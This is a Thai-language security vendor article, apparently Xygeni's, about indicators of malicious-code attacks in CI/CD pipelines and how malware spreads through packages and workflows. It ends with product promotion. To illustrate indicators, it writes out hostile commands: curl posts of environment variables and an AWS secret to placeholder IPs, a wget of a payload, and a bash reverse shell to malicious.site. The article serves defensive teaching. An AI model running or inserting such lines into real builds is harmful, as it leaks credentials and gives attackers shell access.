ข้อใดต่อไปนี้อาจบ่งชี้ถึงการโจมตีด้วยมัลแวร์ - มัลแวร์แพร่กระจายได้อย่างไร

ข้อใดต่อไปนี้อาจบ่งชี้ถึงการโจมตีด้วยโค้ดที่เป็นอันตราย?

ถ้าคุณทำงานอยู่ CI/CD pipelineไม่ว่าจะเป็นการเขียนสคริปต์อัตโนมัติ หรือการรักษาความปลอดภัยของระบบสร้างโปรแกรมสมัยใหม่ การตรวจจับโค้ดที่เป็นอันตรายไม่ใช่เรื่องที่เลือกได้ แต่เป็นสิ่งสำคัญยิ่ง โค้ดที่เป็นอันตรายไม่ได้แค่โจมตีรันไทม์ของคุณเท่านั้น แต่ยังใช้ขั้นตอนการสร้างโปรแกรม แพ็กเกจจากภายนอก และงานอัตโนมัติที่คุณใช้ทุกวันเป็นอาวุธอีกด้วย

บทความนี้จะสำรวจพฤติกรรมที่อาจบ่งชี้ถึงการโจมตีด้วยมัลแวร์ และมัลแวร์สามารถแพร่กระจายได้อย่างไร โดยเฉพาะอย่างยิ่งภายในระบบ CI/CD สภาพแวดล้อมต่างๆ ออกแบบมาสำหรับนักพัฒนาและทีม DevSecOps ที่รับผิดชอบห่วงโซ่อุปทานซอฟต์แวร์ การสร้างระบบอัตโนมัติ และเวิร์กโฟลว์การปรับใช้ที่ปลอดภัย ด้วยการทำความเข้าใจตัวบ่งชี้และเวกเตอร์การโจมตีเหล่านี้ ทีมต่างๆ สามารถตรวจจับภัยคุกคามและเสริมความแข็งแกร่งให้กับระบบได้ดียิ่งขึ้น pipelineต่อต้านการประนีประนอม

คุณจะได้เรียนรู้ วิธีที่ผู้โจมตีฝังภัยคุกคามลงในระบบของคุณ pipelinesรวมถึงอาการที่ควรระวัง และวิธีที่โค้ดที่เป็นอันตรายสามารถแพร่กระจายอย่างเงียบๆ ผ่านงานประจำต่างๆ เช่น การติดตั้งไลบรารีและการทำงานอัตโนมัติของเวิร์กโฟลว์ เรามาวิเคราะห์สัญญาณต่างๆ ตั้งแต่ปริมาณการรับส่งข้อมูลขาออกที่ไม่คาดคิด ไปจนถึง Pull Request (PR) ที่ไม่พึงประสงค์ที่เข้าไปยุ่งเกี่ยวกับการทำงานของ CI เพื่อให้คุณสามารถตรวจจับและกำจัดภัยคุกคามได้ก่อนที่จะส่งผลกระทบต่อระบบการผลิต

การโจมตีด้วยโค้ดที่เป็นอันตรายคืออะไร?

การโจมตีด้วยโค้ดที่เป็นอันตราย คือการที่โค้ดที่เป็นอันตรายถูกเรียกใช้งานภายในแอปพลิเคชันหรือบิลด์ของคุณ pipelineหรือสภาพแวดล้อมการทำงาน เรากำลังพูดถึงตรรกะที่เขียนขึ้นโดยเฉพาะเพื่อ:

  • ขโมยข้อมูลลับ เช่น คีย์ API และข้อมูลประจำตัว
  • แก้ไขโครงสร้างหรือผลักดันไฟล์ที่ติดเชื้อ
  • เปิดช่องโหว่หรือดึงข้อมูลออกมา

โค้ดที่เป็นอันตรายไม่ใช่แค่บั๊ก มันมีเจตนาแฝง และมักแฝงตัวอยู่ในเครื่องมือที่คุณใช้เป็นประจำ เช่น ไลบรารีต่างๆ งาน CI และสคริปต์การติดตั้ง

ทำไมเหล่านักพัฒนาจึงควรใส่ใจ? เพราะภัยคุกคามไม่ได้มาจากผู้โจมตีภายนอกที่เข้ามาโจมตี API ของคุณเสมอไป โค้ดที่เป็นอันตรายจะฝังตัวอยู่ในเวิร์กโฟลว์ที่คุณใช้งานทุกวัน เช่น การติดตั้ง npm หรือการสร้าง Docker นี่คือวิธีการที่โค้ดที่เป็นอันตรายสามารถแพร่กระจายได้ในสภาพแวดล้อมจริง

ข้อใดต่อไปนี้อาจบ่งชี้ถึงการโจมตีด้วยโค้ดที่เป็นอันตราย? สัญญาณที่ควรรู้สำหรับนักพัฒนา

หากคุณสงสัยว่าข้อใดต่อไปนี้อาจบ่งชี้ถึงการโจมตีด้วยโค้ดที่เป็นอันตราย คำตอบเริ่มต้นด้วยพฤติกรรมที่สังเกตได้:

ตัวบ่งชี้ (อาการ)ตัวอย่างสาเหตุหลักประเภท
ปริมาณการรับส่งข้อมูลขาออกที่ไม่คาดคิดจากการสร้างcurl -X POST http://198.51.100.42 -d "$(env)" ในสคริปต์หลังการติดตั้งแพ็คเกจ npm ที่เป็นอันตรายตัวบ่งชี้ที่แท้จริง
ไฟล์ที่แก้ไขหรือเข้ารหัสในที่เก็บซอร์สโค้ดการเข้ารหัส Base64 ใน .github/workflows/build.ymlการประนีประนอมในห่วงโซ่อุปทานตัวบ่งชี้ที่แท้จริง
ความลับที่ถูกเปิดเผยโดยงานที่ไม่คาดคิดงาน CI ที่ไม่ได้รับการอนุมัติโดยใช้ ${{ secrets.AWS_SECRET_KEY }}การตั้งค่า IAM ผิดพลาดหรือการฉีดข้อมูลตัวบ่งชี้ที่แท้จริง
กระบวนการ Reverse shell หรือ wget ในการสร้างbash -i >& /dev/tcp/... shellcode ในขั้นตอน CIถูกดัดแปลง pipeline ต้นฉบับตัวบ่งชี้ที่แท้จริง
แพ็คเกจที่พิมพ์ผิดพร้อมสคริปต์การติดตั้งlodashs or react-core-js เรียกใช้โค้ดที่ไม่คาดคิดความสับสนในการพึ่งพาตัวบ่งชี้ที่แท้จริง
ปลดล็อค CI/CD สิทธิ์ทุกตำแหน่งงานสามารถเข้าถึงข้อมูลลับทั้งหมดได้การตั้งค่าเริ่มต้นที่อ่อนแอการปฏิบัติที่ไม่เหมาะสม (ไม่ใช่สัญญาณเตือนภัย)
ขาดการตรวจสอบความถูกต้องของไฟล์ไม่มีการแจ้งเตือนเมื่อมีการเปลี่ยนแปลงการตั้งค่าไม่มีการตรวจสอบการปฏิบัติที่ไม่เหมาะสม (ไม่ใช่สัญญาณเตือนภัย)

ปริมาณการรับส่งข้อมูลเครือข่ายขาออกที่ไม่คาดคิดจาก Build Pipelines

อาการ: งาน CI ของคุณเริ่มติดต่อกับ IP หรือโดเมนภายนอกที่ไม่รู้จักโดยไม่คาดคิด
ตัวอย่าง: สคริปต์ postinstall ที่ถูกบุกรุกใช้ curl ในการส่งตัวแปรสภาพแวดล้อมไปยัง 198.51.100.42

				
					{
  "scripts": {
    "postinstall": "curl -X POST http://198.51.100.42 -d \"$(env)\""
  }
}

				
			

สาเหตุ: มีการเพิ่ม dependency ของ npm ที่เป็นอันตรายลงในไฟล์ package.json หรือมีการแก้ไขสคริปต์ CI
ประเภทงาน: ตัวบ่งชี้ที่แท้จริง
วิธีป้องกัน:

  • โดยค่าเริ่มต้น ให้บล็อกการรับส่งข้อมูลขาออกในตัวรันเนอร์ CI ของคุณ (เช่น ใช้กฎไฟร์วอลล์หรือนโยบายปฏิเสธขาออกโดยค่าเริ่มต้น)

  • เพิ่มนโยบายเครือข่ายเพื่ออนุญาตการเข้าถึงเฉพาะโดเมนที่ระบุเท่านั้น:

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Allowlist specific domains
        run: iptables -A OUTPUT -p tcp -d github.com -j ACCEPT
				
			

ไฟล์ที่แก้ไขหรือไฟล์ที่ไม่คาดคิดในที่เก็บซอร์สโค้ด

อาการ: ไฟล์หรือสคริปต์ใหม่ปรากฏขึ้นในระบบควบคุมเวอร์ชันโดยไม่มีคำอธิบายที่ชัดเจน
ตัวอย่าง: โค้ด Base64 ที่เข้ารหัสแล้วจะถูกแทรกเข้าไปในไฟล์ package-lock.json หรือ .github/workflows/build.yml

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
				
			

สาเหตุ: การบุกรุกห่วงโซ่อุปทานผ่านคำขอจดทะเบียนเครื่องหมายการค้าที่เป็นอันตรายหรือการแก้ไขดัดแปลงส่วนประกอบที่เกี่ยวข้อง
ประเภทงาน: ตัวบ่งชี้ที่แท้จริง
วิธีป้องกัน:

  • ใช้ระบบตรวจสอบความสมบูรณ์ของไฟล์อัตโนมัติ (เช่น Tripwire หรือ Git) hooks (พร้อมการตรวจสอบค่าตรวจสอบความถูกต้อง)

  • บังคับใช้การตรวจสอบด้วยตนเองในขั้นตอนการทำงานและล็อกการเปลี่ยนแปลงไฟล์โดยใช้ GitHub CODEOWNERS:

				
					.github/workflows/*  @security-team
package-lock.json     @devops-lead
				
			
  • ตรวจสอบค่า checksum ของไฟล์ที่เกี่ยวข้องที่ได้รับการอัปเดต

รูปแบบการใช้งานข้อมูลประจำตัวที่ผิดปกติ

อาการ: ข้อมูลลับของคุณกำลังถูกเข้าถึงโดยผู้ใช้ บริการ หรือขั้นตอนที่ไม่คาดคิด pipeline.
ตัวอย่าง: บันทึกของ Secrets Manager แสดงให้เห็นว่ามีการเข้าถึงจากงานที่ไม่ควรมีสิทธิ์เข้าถึง

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
				
			
  • สาเหตุ: นโยบาย IAM ที่ตั้งค่าไม่ถูกต้อง ข้อมูลประจำตัวรั่วไหล หรือการแทรกงาน CI
    ประเภทงาน: ตัวบ่งชี้ที่แท้จริง
    วิธีป้องกัน:

    • บังคับใช้หลักการให้สิทธิ์ขั้นต่ำที่สุดในนโยบายการเข้าถึง (เช่น หนึ่งตำแหน่งงาน = หนึ่งรหัสลับ)

    • ตรวจสอบบันทึกการเข้าถึงข้อมูลลับและตั้งค่าการแจ้งเตือนเมื่อมีการใช้งานผิดปกติ

    • ใช้กฎการป้องกันสภาพแวดล้อมของ GitHub และรหัสลับแบบจำกัดขอบเขต:

				
					environments:
  production:
    protection_rules:
      required_reviewers:
        - security-team
				
			
  • ตรวจสอบความถูกต้องของพฤติกรรมการทำงานที่คาดหวังโดยใช้การตรวจสอบนโยบายอัตโนมัติ (เช่น OPA/Gatekeeper)

การดำเนินการกระบวนการที่ผิดปกติใน CI/CD หรือรันไทม์

อาการ: แอปพลิเคชันที่สร้างหรือติดตั้งแล้วอาจเริ่มต้นกระบวนการที่ไม่คาดคิด
ตัวอย่าง: bash -c \"wget http://malicious.site/payload.sh\" ปรากฏขึ้นระหว่างการสร้าง

				
					steps:
  - name: Suspicious shell execution
    run: bash -i >& /dev/tcp/malicious.site/4444 0>&1
				
			
  • สาเหตุ: สคริปต์ที่ถูกแทรก, รีเวิร์สเชลล์ หรือไฟล์ที่ถูกดัดแปลง pipeline ขั้นตอน
    ประเภทงาน: ตัวบ่งชี้ที่แท้จริง
    วิธีป้องกัน:

    • ใช้รายการคำสั่งที่อนุญาต (เช่น จำกัดให้ใช้เฉพาะเครื่องมือสร้างที่ได้รับอนุมัติเท่านั้น)

    • จำกัดขีดความสามารถของกระบวนการใน CI โดยการรันงานในคอนเทนเนอร์ขนาดเล็กที่สุด:

				
					jobs:
  build:
    container:
      image: secure-ci-image:latest
      options: --cap-drop=ALL --no-new-privileges
				
			
  • ตรวจสอบการใช้งานเชลล์และรูปแบบที่ไม่ดีที่รู้จักกันดีโดยใช้ลินเตอร์ที่ผสานรวมเข้ากับ CI และ SAST

ส่วนประกอบที่ถูกบุกรุกทำให้เกิดการเรียกใช้โค้ดที่เป็นอันตราย

อาการ: สคริปต์การติดตั้งหรือการอัปเดตอาจเรียกใช้โค้ดที่ไม่ได้รับอนุญาตโดยที่คุณไม่ประสงค์
ตัวอย่าง: แพ็กเกจที่ถูกดัดแปลงโดย typosquatted เช่น lodashs or react-core-js เรียกใช้ฟังก์ชันดักจับการติดตั้งล่วงหน้าที่เป็นอันตราย
สาเหตุ: ความสับสนเกี่ยวกับการพึ่งพา หรือการใช้รีจิสทรีที่ไม่น่าเชื่อถือ
ประเภทงาน: ตัวบ่งชี้ที่แท้จริง
วิธีป้องกัน:

  • การพึ่งพาแบบล็อกด้วย SBOM การตรวจสอบความถูกต้องและการตรึงแฮช:

				
					npm ci --prefer-offline --no-audit --ignore-scripts
				
			
  • ใช้ .npmrc or .yarnrc.yml เพื่อเพิ่มรีจิสทรีที่ได้รับอนุมัติลงในรายการที่อนุญาต:

				
					registry=https://registry.npmjs.org/
always-auth=true
				
			
  • ตรวจสอบแพ็กเกจอย่างต่อเนื่องโดยใช้ SCA เครื่องมือต่างๆ เช่น Xygeni, OSV-Scanner หรือ Dependabot

ค้นพบโปรแกรมป้องกันมัลแวร์แบบโอเพนซอร์สที่ดีที่สุด

ปกป้องซอฟต์แวร์โอเพนซอร์สของคุณจากภัยคุกคามที่เกิดขึ้นใหม่!

อ่านที่เกี่ยวข้อง:

มัลแวร์สามารถแพร่กระจายในกระบวนการทำงานของนักพัฒนาได้อย่างไร?

การเข้าใจวิธีการที่โค้ดที่เป็นอันตรายสามารถแพร่กระจายได้ จะช่วยให้คุณหยุดยั้งมันได้ก่อนที่จะเข้าสู่ระบบการใช้งานจริง:

  • แพ็กเกจโอเพนซอร์สที่ถูกบุกรุก (เช่น โมดูล npm/PyPI ที่ติดไวรัส)
  • ร้าย pull requests โดยมีเพย์โหลดที่ซ่อนอยู่ภายในเวิร์กโฟลว์
  • CI/CD การตั้งค่าที่ไม่ถูกต้อง (เช่น PR ที่ไม่ได้รับการตรวจสอบกำลังเรียกใช้งาน)
  • ภัยคุกคามจากภายในคือการฝังช่องโหว่ (backdoor) ในระหว่างการพัฒนาตามปกติ

สิ่งเหล่านี้ล้วนเป็นช่องทางที่มัลแวร์สามารถแพร่กระจายได้โดยไม่ทำให้เกิดการแจ้งเตือนแบบปกติ

วิธีการตรวจจับและป้องกันโค้ดที่เป็นอันตรายใน Pipelineและโค้ดเบส

รายการตรวจสอบอย่างรวดเร็วสำหรับการตรวจจับตัวบ่งชี้โค้ดที่เป็นอันตราย

พฤติกรรมเครื่องมือตรวจจับCI/CD ปลาย
คำขอเครือข่ายที่ไม่คาดคิดการตรวจสอบพฤติกรรม บันทึกการเข้าออกขึ้นบัญชีดำ IP และตรวจสอบการใช้งาน curl/wget
การแก้ไขไฟล์ YAML หรือไฟล์ล็อกการตรวจสอบความสมบูรณ์ของไฟล์, การเปรียบเทียบความแตกต่างของ Gitบังคับใช้สิทธิ์เจ้าของโค้ด และแจ้งเตือนเมื่อมีการเปลี่ยนแปลงไฟล์สำคัญ
การเข้าถึงลับที่ไม่ธรรมดาบันทึกการเข้าถึงลับ การแจ้งเตือน IAMใช้รหัสลับแบบจำกัดขอบเขต และบังคับใช้สิทธิ์ขั้นต่ำสุด
การเรียกใช้เชลล์หรือรีเวิร์สเชลล์SASTการสแกนรายการที่อนุญาตจำกัดการใช้เชลล์ในสคริปต์การสร้าง
ความสัมพันธ์ที่น่าสงสัยSCA, SBOM การตรวจสอบใช้แฮชที่ล็อกไว้และรีจิสทรีที่เชื่อถือได้

อย่ารอจนกว่าจะมีการแจ้งเตือนในขั้นตอนการผลิต นี่คือวิธีที่นักพัฒนาและทีม DevSecOps สามารถตรวจจับการโจมตีด้วยโค้ดที่เป็นอันตรายได้ล่วงหน้า:

  • การติดตามพฤติกรรม: ตรวจจับการทำงานของกระบวนการที่ผิดปกติ การเรียกใช้เครือข่าย หรือการเปลี่ยนแปลงไฟล์ใน CI/CD.
  • การควบคุมการพึ่งพา: ใช้ SBOMใช้ s และรายการอนุญาตที่เข้มงวดเพื่อบล็อกไลบรารีที่ไม่ได้รับการตรวจสอบ
  • การตรวจสอบความสมบูรณ์ของไฟล์: ตรวจจับสคริปต์ที่ไม่ได้รับอนุญาตหรือการเปลี่ยนแปลงไฟล์การกำหนดค่า
  • ข้อจำกัดในการออก: ป้องกันการรั่วไหลของข้อมูลระหว่างการสร้างระบบโดยการวิเคราะห์และบล็อกการรับส่งข้อมูลขาออก
  • การวิเคราะห์แบบคงที่และแบบไดนามิก: ตรวจสอบตรรกะที่น่าสงสัย การเรียกใช้เชลล์ หรือการเข้ารหัสในไฟล์ของคุณโดยอัตโนมัติ pipelines.

โดยเฉพาะอย่างยิ่ง:

  • การทดสอบความปลอดภัยของแอปพลิเคชันแบบคงที่ (SAST): สามารถตรวจจับตรรกะที่เป็นอันตรายหรือโค้ดที่ซ่อนเร้น (เช่น base64 ที่ซ่อนอยู่ การเรียกใช้ shell ที่น่าสงสัย) ก่อนที่จะถูกเรียกใช้งาน การบูรณาการ SAST เครื่องมือต่างๆ สำหรับคุณ CI/CD เวิร์กโฟลว์ช่วยระบุรูปแบบที่มีความเสี่ยงสูงใน pull requests และ commits.
  • การวิเคราะห์องค์ประกอบซอฟต์แวร์ (SCA): ระบุแพ็กเกจที่มีช่องโหว่หรือเป็นอันตรายที่ทราบแล้วในระหว่างกระบวนการแก้ไขการพึ่งพาของแพ็กเกจ SCA เครื่องมือเหล่านี้ช่วยให้คุณบล็อกแพ็กเกจที่สะกดผิดหรือมีช่องโหว่ในระหว่างการติดตั้ง ก่อนที่แพ็กเกจเหล่านั้นจะเข้าสู่ระบบของคุณ

ทั้งหมดนี้ช่วยตอบคำถามที่ว่า: ข้อใดต่อไปนี้อาจบ่งชี้ถึงการโจมตีด้วยโค้ดที่เป็นอันตราย และข้อใดเป็นเพียงสัญญาณรบกวนแปลกๆ

เหตุการณ์จริงที่นักพัฒนาควรเรียนรู้จาก

คุณไม่จำเป็นต้องใช้สมมติฐาน เพราะการโจมตีด้วยโค้ดที่เป็นอันตรายเหล่านี้เกิดขึ้นจริงแล้ว และแต่ละครั้งก็ให้บทเรียนที่สำคัญ:

  • ไมโครซอฟต์, แอปเปิล: เกิดความสับสนเรื่องการพึ่งพาแพ็กเกจ จึงถูกหลอกให้ดึงแพ็กเกจภายในจากแหล่งเก็บแพ็กเกจสาธารณะ
    Takeaway: ใช้รีจิสทรีส่วนตัวและกำหนดค่าการแก้ไขแพ็กเกจแบบจำกัดขอบเขตเพื่อป้องกันความสับสนของความสัมพันธ์ระหว่างแพ็กเกจ
  • ua-parser-js: แพ็กเกจ npm ยอดนิยมถูกแฮ็กเพื่อใช้ในการเผยแพร่โปรแกรมขุดคริปโตเคอร์เรนซี
    Takeaway: ใช้ SBOM การตรวจสอบความถูกต้องและการกำหนดความสัมพันธ์ของ CI เพื่อหลีกเลี่ยงการอัปเดตแพ็กเกจที่ไม่ได้รับการตรวจสอบ
  • การจดทะเบียนชื่อโดเมนโดยไม่ได้รับอนุญาตบน PyPI: แพ็กเกจที่เป็นอันตรายซึ่งมีชื่อคล้ายกับแพ็กเกจจริง (เช่น urlib3) เพื่อเผยแพร่ผู้ขโมยข้อมูล
    Takeaway: รวบรวม SCA เครื่องมือสำหรับตรวจจับแพ็กเกจที่มีชื่อคล้ายกันและตรวจสอบความถูกต้องของส่วนประกอบต่างๆ ก่อนการติดตั้ง
  • คำขอรวมโค้ด (PR) บน GitHub: ผู้โจมตีได้ส่งคำขอแก้ไข (PR) ที่แก้ไขเวิร์กโฟลว์ CI โดยไม่แจ้งให้ทราบล่วงหน้า leak secrets.
    Takeaway: บังคับใช้การตรวจสอบ Pull Request อย่างเข้มงวดสำหรับไฟล์เวิร์กโฟลว์ และใช้ Codeowner สำหรับการเปลี่ยนแปลงการกำหนดค่า CI

แต่ละกรณีแสดงให้เห็นว่าโค้ดที่เป็นอันตรายสามารถแพร่กระจายในสภาพแวดล้อมการพัฒนาได้อย่างไรก่อนที่จะไปถึงสภาพแวดล้อมการใช้งานจริง และเน้นย้ำถึงแนวทางปฏิบัติที่สามารถนำไปใช้ได้จริงเพื่อหยุดยั้งการโจมตีตั้งแต่เนิ่นๆ

สรุป: นักพัฒนาซอฟต์แวร์ควบคุมแนวหน้าในการป้องกันมัลแวร์

การโจมตีด้วยโค้ดที่เป็นอันตรายไม่ได้หมายความว่าเป็นการละเมิดจากภายนอกเสมอไป บางครั้งผู้โจมตีอาจซ่อนตัวอยู่ภายในระบบของคุณ node_modulesของคุณ แพคเกจ lock.json, หรือของคุณ ไฟล์ .github/workflows

ข้อใดต่อไปนี้อาจบ่งชี้ถึงการโจมตีด้วยโค้ดที่เป็นอันตราย? คำตอบอยู่ที่สัญญาณต่างๆ ที่โค้ดและเครื่องมือของคุณส่งออกมาในแต่ละวัน

เป็นเจ้าของของคุณเอง CI/CDคอยตรวจสอบการพึ่งพาของโปรแกรมต่างๆ และแจ้งเตือนเมื่อพบพฤติกรรมที่ผิดปกติ ยิ่งตรวจพบเร็วเท่าไหร่ การแพร่กระจายก็จะยิ่งน้อยลงเท่านั้น

Xygeni ช่วยตรวจจับและบล็อกการโจมตีด้วยโค้ดที่เป็นอันตรายในกระบวนการ DevOps ได้อย่างไร

เมื่อมัลแวร์แพร่กระจายผ่านห่วงโซ่อุปทานซอฟต์แวร์ของคุณ มักจะสายเกินไปเมื่อมันไปถึงขั้นตอนการใช้งานจริง นั่นเป็นเหตุผลว่าทำไมการตรวจจับอัตโนมัติในระยะเริ่มต้นจึงมีความสำคัญอย่างยิ่ง Xygeni's ระบบการเตือนล่วงหน้า ออกแบบมาเพื่อตรวจจับแพ็กเกจที่เป็นอันตรายก่อนที่จะแพร่เชื้อไปยังโค้ดของคุณ CI/CD pipelineหรือสภาพแวดล้อมบนคลาวด์

นี่เป็นวิธีการ ไซเกนี ช่วยเสริมสร้างระบบภูมิคุ้มกันของคุณ:

ระบบเตือนภัยล่วงหน้าแบบเรียลไทม์สำหรับมัลแวร์ Zero-Day

แตกต่างจากโปรแกรมสแกนแบบดั้งเดิมที่อาศัยเพียงแค่ CVE เท่านั้น Xygeni จะตรวจสอบรีจิสทรีสาธารณะอย่างต่อเนื่อง เช่น npm, PyPI, Maven และ NuGet เพื่อตรวจหาพฤติกรรมที่น่าสงสัยและความผิดปกติของเมตาเดต้า ทันทีที่แพ็กเกจใดแสดงสัญญาณของกิจกรรมที่เป็นอันตราย ระบบจะแจ้งเตือน กักกัน และบล็อกไม่ให้เข้าสู่ระบบของคุณ SDLC.

  • ตรวจจับมัลแวร์ ณ เวลาที่เผยแพร่
  • บล็อกมัลแวร์ Zero-day และการติดตั้งที่น่าสงสัยโดยอัตโนมัติ hooks
  • ส่งการแจ้งเตือนแบบเรียลไทม์ไปยังทีม DevOps เพื่อการวิเคราะห์ปัญหาอย่างรวดเร็ว

การป้องกันมัลแวร์ที่ฝังอยู่ในทุกขั้นตอนของ DevOps

ไม่ว่าจะเป็นโค้ดที่ถูกซ่อนไว้ในสคริปต์หลังการติดตั้ง โปรแกรมขโมยข้อมูลเข้ารหัสลับที่ซ่อนอยู่ในส่วนประกอบที่ต้องพึ่งพา หรืออิมเมจคอนเทนเนอร์ที่แฝงด้วยมัลแวร์ Xygeni ใช้การตรวจจับมัลแวร์แบบหลายชั้นครอบคลุมทั้งโค้ดและส่วนประกอบที่ต้องพึ่งพา CI/CDและ IaC:

  • การวิเคราะห์แบบคงที่ที่ตรวจจับช่องโหว่ มัลแวร์ประเภทโทรจัน และเพย์โหลดที่ซ่อนเร้น ก่อนการนำไปใช้งาน
  • ไฟร์วอลล์ที่บล็อกแพ็กเกจที่มีมัลแวร์แฝงอยู่ พร้อมสคริปต์การติดตั้งที่เป็นอันตราย
  • CI/CD ระบบป้องกันการโจมตีแบบ Reverse Shell และ Command Injection ในระบบของคุณ pipelines.

Guardrails และการกักกันเพื่อหยุดการแพร่กระจาย

Xygeni ไม่เพียงแต่ตรวจจับมัลแวร์ แต่ยังหยุดยั้งมันได้ด้วย เมื่อตรวจพบแพ็กเกจที่เสียหาย:

  • ถูกแยกกักทันทีเพื่อป้องกันการปนเปื้อนระหว่างการก่อสร้าง
  • ของคุณ pipelineXygeni สามารถหยุดการสร้างโปรแกรมโดยอัตโนมัติโดยใช้ นโยบายความปลอดภัยที่กำหนดค่าได้ของ Xygeni
  • เวอร์ชันที่ได้รับผลกระทบจะถูกขึ้นบัญชีดำ แม้กระทั่งจากรีจิสทรีภายในหรือรีจิสทรีส่วนตัว

ตรวจสอบและติดตามข้อมูลข่าวสารอยู่เสมอ

Xygeni มีระบบตรวจสอบและค้นหาประวัติของแพ็กเกจที่เป็นอันตรายอย่างครบถ้วน คุณจะทราบได้ว่า:

  • เมื่อมีการเผยแพร่ภัยคุกคามดังกล่าว
  • ตรวจพบได้อย่างไร
  • ไม่ว่ามันจะไปถึงส่วนใดส่วนหนึ่งของระบบของคุณหรือไม่ก็ตาม

นอกจากนี้ ภัยคุกคามที่ได้รับการยืนยันแล้วจะถูกเปิดเผยต่อสาธารณะเพื่อปกป้องชุมชนโอเพนซอร์สในวงกว้าง และป้องกันไม่ให้มัลแวร์กลับมาปรากฏอีกครั้งในแพ็กเกจที่เปลี่ยนชื่อหรือแยกสาขาไป

อย่าปล่อยให้มัลแวร์เล็ดลอดเข้ามาได้

ตั้งแต่ผู้ขุดคริปโตแบบลับๆ ไปจนถึงผู้ขโมยข้อมูลที่ใช้ชื่อเว็บไซต์ผิดเพี้ยน การโจมตีด้วยมัลแวร์กำลังพัฒนาไปอย่างรวดเร็วระบบเตือนภัยล่วงหน้าของ Xygeni ช่วยให้มั่นใจได้ว่ามัลแวร์จะไม่สามารถผ่านขั้นตอนการพัฒนา การสร้าง หรือการติดตั้งใช้งานได้ และทีมของคุณจะได้รับการแจ้งเตือนและปกป้องแบบเรียลไทม์

เริ่มทดลองใช้งานฟรีได้เลยตอนนี้ และปกป้องระบบ DevOps ของคุณ pipeline ก่อนที่การโจมตีครั้งต่อไปจะเกิดขึ้น!

sca-tools-software-composition-analysis-tools
จัดลำดับความสำคัญ แก้ไข และรักษาความปลอดภัยความเสี่ยงด้านซอฟต์แวร์ของคุณ
สมัครบัญชีฟรีได้เลย
ไม่ต้องใช้บัตรเครดิต

รักษาความปลอดภัยในการพัฒนาและส่งมอบซอฟต์แวร์ของคุณ

ด้วยชุดผลิตภัณฑ์ Xygeni